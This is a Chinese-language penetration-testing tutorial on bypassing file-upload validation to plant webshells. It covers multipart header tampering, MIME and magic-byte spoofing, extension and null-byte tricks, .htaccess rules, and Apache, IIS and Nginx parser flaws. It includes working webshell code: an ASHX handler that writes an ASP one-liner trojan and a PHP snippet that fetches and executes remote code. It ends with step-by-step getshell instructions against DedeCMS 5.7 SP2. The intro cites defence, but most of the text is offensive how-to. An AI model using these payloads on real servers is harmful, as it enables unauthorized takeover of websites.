文件上传漏洞可以说是日常渗透测试用得最多的一个漏洞,因为用它获得服务器权限最快最直接。
但是想真正把这个漏洞利用好却不那么容易,其中有很多技巧,也有很多需要掌握的知识。
俗话说,知己知彼方能百战不殆,因此想要研究怎么防护漏洞,就要了解怎么去利用。
客户端JAVAscript校验(一般只校验后缀名)服务端校验文件头content-type字段校验(image/gif)文件内容头校验(GIF89a)后缀名黑名单校验后缀名白名单校验自定义正则校验WAF设备校验(根据不同的WAF产品而定)
1.绕过思路:对文件的内容,数据,数据包进行处理。
关键点在这里Content-Disposition: form-data; name="file"; filename="ian.php"将form-data;修改为~form-data;
2.通过替换大小写来进行绕过
Content-Disposition: form-data; name="file"; filename="yjh.php"Content-Type: Application/octet-stream将Content-Disposition修改为content-Disposition将 form-data 修改为Form-data将Content-Type修改为content-Type
3.通过删减空格来进行绕过
Content-Disposition: form-data; name="file"; filename="yjh.php"Content-Type: application/octet-stream将Content-Disposition: form-data 冒号后面增加或减少一个空格将form-data; name="file";分号后面增加或减少一个空格将Content-Type: application/octet-stream 冒号后面增加一个空格
4.通过字符串拼接绕过
看Content-Disposition: form-data; name="file"; filename="yjh3.php"将 form-data 修改为 f+orm-data将from-data 修改为 form-d+ata
5.双文件上传绕过
<formaction="https://www.xxx.com/xxx.asp(php)"method="post"name="form1"enctype="multipart/form‐data"><inputname="FileName1"type="FILE"class="tx1"size="40"><inputname="FileName2"type="FILE"class="tx1"size="40"><inputtype="submit"name="Submit"value="上传"></form>
6.HTTP header 属性值绕过
Content-Disposition: form-data; name="file"; filename="yjh.php"我们通过替换form-data 为*来绕过Content-Disposition:*; name="file"; filename="yjh.php"
7.HTTP header 属性名称绕过
源代码:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png绕过内容如下:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.pngC.php"删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php".
8.等效替换绕过
原内容:Content-Type: multipart/form-data; boundary=---------------------------471463142114修改后:Content-Type: multipart/form-data; boundary =---------------------------471463142114boundary后面加入空格。
9.修改编码绕过
使用UTF-16、Unicode、双URL编码等等
原内容:Content-Disposition: form-data; name="up_picture"; filename="xss.php"添加回车Content-Disposition: form-data; name="up_picture"; filename="xss.php"
百度云绕过就简单的很多很多,在对文件名大小写上面没有检测php是过了的,Php就能过,或者PHP,一句话自己合成图片马用Xise连接即可。Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"
源代码:Content-Disposition: form-data; name="img_crop_file"; filename="1.jpg .Php"Content-Type: image/jpeg修改如下:Content-Disposition: form-data; name="img_crop_file"; filename="1.php"没错,将=号这里回车删除掉Content-Type: image/jpeg即可绕过。
源代码:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png绕过内容如下:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.pngContent-Disposition 修改为 Content-空格Disposition
上传木马时,提示格式错误。直接抓包修改Content-Type为正确的格式尝试绕过
抓包,在正常图片末尾添加一句话木马
多次上传同一个文件,windows会自动更新补全TEST (1).php。有时会触发条件竞争,导致绕过。
通过BURP不断发包,导致不断写入Webshell,再写入速度频率上超过安全软件查杀频率,导致绕过。
针对这种类型的验证,我们可以通过上传一些非常短的恶意代码来绕过。上传文件的大小取决于,Web服务器上的最大长度限制。我们可以使用不同大小的文件来fuzzing上传程序,从而计算出它的限制范围。
针对文件内容检测的绕过,一般有两种方式,1.制作图片马2.文件幻术头绕过
修改HTTP请求,再之中加入大量垃圾数据。
文件扩展名绕过
Php除了可以解析php后缀还可以解析php2.php3,php4 后缀
ashx上传绕过
cer,asa,cdx等等无法使用时候。解析后就会生成一个test.asp的马,你就可以连接这个test.asp 密码为:put<%@WebHandlerLanguage="C#"Class="Handler"%>usingSystem;usingSystem.Web;usingSystem.IO;publicclassHandler:IHttpHandler{publicvoidProcessRequest(HttpContext context){ context.Response.ContentType="text/plain";//这里会在目录下生成一个test.asp的文件StreamWriter file1=File.CreateText(context.Server.MapPath("test.asp"));//这里是写入一句话木马 密码是:ptu file1.Write("<%response.clear:execute request("put"):response.End%>"); file1.Flush(); file1.Close();}publicboolIsReusable{get{returnfalse;}}}
特殊文件名绕过
比如发送的 http包里把文件名改成 test.asp.或 test.asp_(下划线为空格),这种命名方式在windows系统里是不被允许的,所以需要在 burp之类里进行修改,然后绕过验证后,会被windows系统自动去掉后面的点和空格,但要注意Unix/linux系统没有这个特性。
Windows流特性绕过
php在windows的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::$DATA"之前的文件名。
00截断绕过上传
php .jpg 空格二进制20改为00IIS 6.0目录路径检测解析绕过上传路径改为XXX/1.asp/
htaccess解析漏洞
上传的jpg文件都会以php格式解析.htaccess内容:AddType application/x-httpd-php .jpg
突破MIME限制上传
方法:找一个正常的可上传的查看其的MIME类型,然后将马子的MIME改成合法的MIME即可。
Apache解析漏洞
1.一个文件名为test.x1.x2.x3的文件,apache会从x3的位置开始尝试解析,如果x3不属于apache能够解析的扩展名,那么apache会尝试去解析x2,直到能够解析到能够解析的为止,否则就会报错。2.CVE-2017-15715,这个漏洞利用方式就是上传一个文件名最后带有换行符(只能是\x0A,如上传a.php,然后在burp中修改文件名为a.php\x0A),以此来绕过一些黑名单过滤。
IIS解析漏洞
IIS6.0在解析asp格式的时候有两个解析漏洞,一个是如果目录名包含".asp"字符串,那么这个目录下所有的文件都会按照asp去解析,另一个是只要文件名中含有".asp;"会优先按asp来解析IIS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL后面追加上字符串"/任意文件名.php"就会按照php的方式去解析;
Nginx解析漏洞
解析:(任意文件名)/(任意文件名).php |(任意文件名)%00.php描述:目前Nginx主要有这两种漏洞,一个是对任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击。还有一种是对低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击。
解析漏洞
Content-Disposition: form-data; name="file"; filename=php.php;.jpg
使用BURP抓包修改后重放或者使用浏览器中元素审查,修改允许或禁止上传文件类型。
远程下载文件绕过
<?php$str = file_get_contents('http://127.0.0.1/ian.txt');$str($_post['ian']);?>
文件包含绕过
上传图片木马
$x=$_GET['x'];include($x);访问:http://www.xxxx.com/news.php?x=xxxxxx.jpg
Desdev DedeCMS 5.7 SP2版本中的uploads/include/dialog/select_images_post.php文件存在文件上传漏洞,远程攻击者可利用该漏洞上传并执行任意PHP代码。
最新的DEDECMS系统存在前台文件上传漏洞,需要管理员打开会员中心,访问链接:http://127.0.0.1/dedecms/uploads/member/content_list.php?channelid=1或者进入会员中心后进入内容中心模块,然后发布一个文章。
点击下面的编辑器的上传图片按钮。
点击上传,选择准备好的一句话图片木马文件
再用burp工具抓包,将1.jpg改为1.jpg.p*hp
然后重新请求发送数据包,成功的getshell了,并返回了木马地址。
漏洞在于用户发布文章上传图片处。
处理文件在/include/dialog/select_images_post.php中的36行,
过滤了一些看起来不正常(异常)的字符。
而上传文件存在全局过滤/include/uploadsafe.inc.php可以看到名字中不得有上述字符,且限制了content-type。
按道理说直接限制不得存在的字符,似乎没有问题了,可在发布文章文件上传的处理文件select_images_post.php中存在如下代码:
再次过滤了图片名,并且再次判断如上三种文件类型是否存在其中。
这么一次过滤,直接粗暴的将一些特殊字符替换为空
那么我们就可以通过特殊字符绕过上面的全局文件名不能包含php字符的限制
比如文件名为1.jpg.php,从而可以判断,不仅仅只有可以绕过,% ?<> :都是可以绕过的